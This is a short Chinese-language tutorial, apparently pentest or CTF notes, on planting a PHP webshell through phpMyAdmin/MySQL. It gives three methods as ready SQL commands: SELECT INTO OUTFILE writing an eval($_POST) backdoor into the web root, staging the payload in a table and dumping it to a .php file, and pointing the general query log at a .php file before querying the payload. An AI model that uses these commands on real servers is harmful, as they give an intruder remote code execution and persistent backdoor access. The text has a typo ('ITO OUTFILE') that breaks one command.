phpMyAdmin写入WebShell（一）

 

 

1.select into outfile直接写入webshell 查询文件写入路径的值 show global variables like '%secure%' 写入webshell select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/phpstudy_pro/WWW/test.php' 

2. 创建数据库和写入webshell CREATE TABLE ctf.test( id text(500) not null); INSERT INTO ctf.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); SELECT id FROM test ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; DROP TABLE IF EXISTS test; 3.通过开启全日志getShell： 查询日志路径和是否允许写入 SHOW VARIABLES LIKE '%general%' 更新日志路径 set global general_log_file='D:/phpstudy_pro/WWW/22.php' 通过查询将webshell写入日志 select '<?php eval($_POST[shell]); ?>' 关闭日志 set global general_log='off';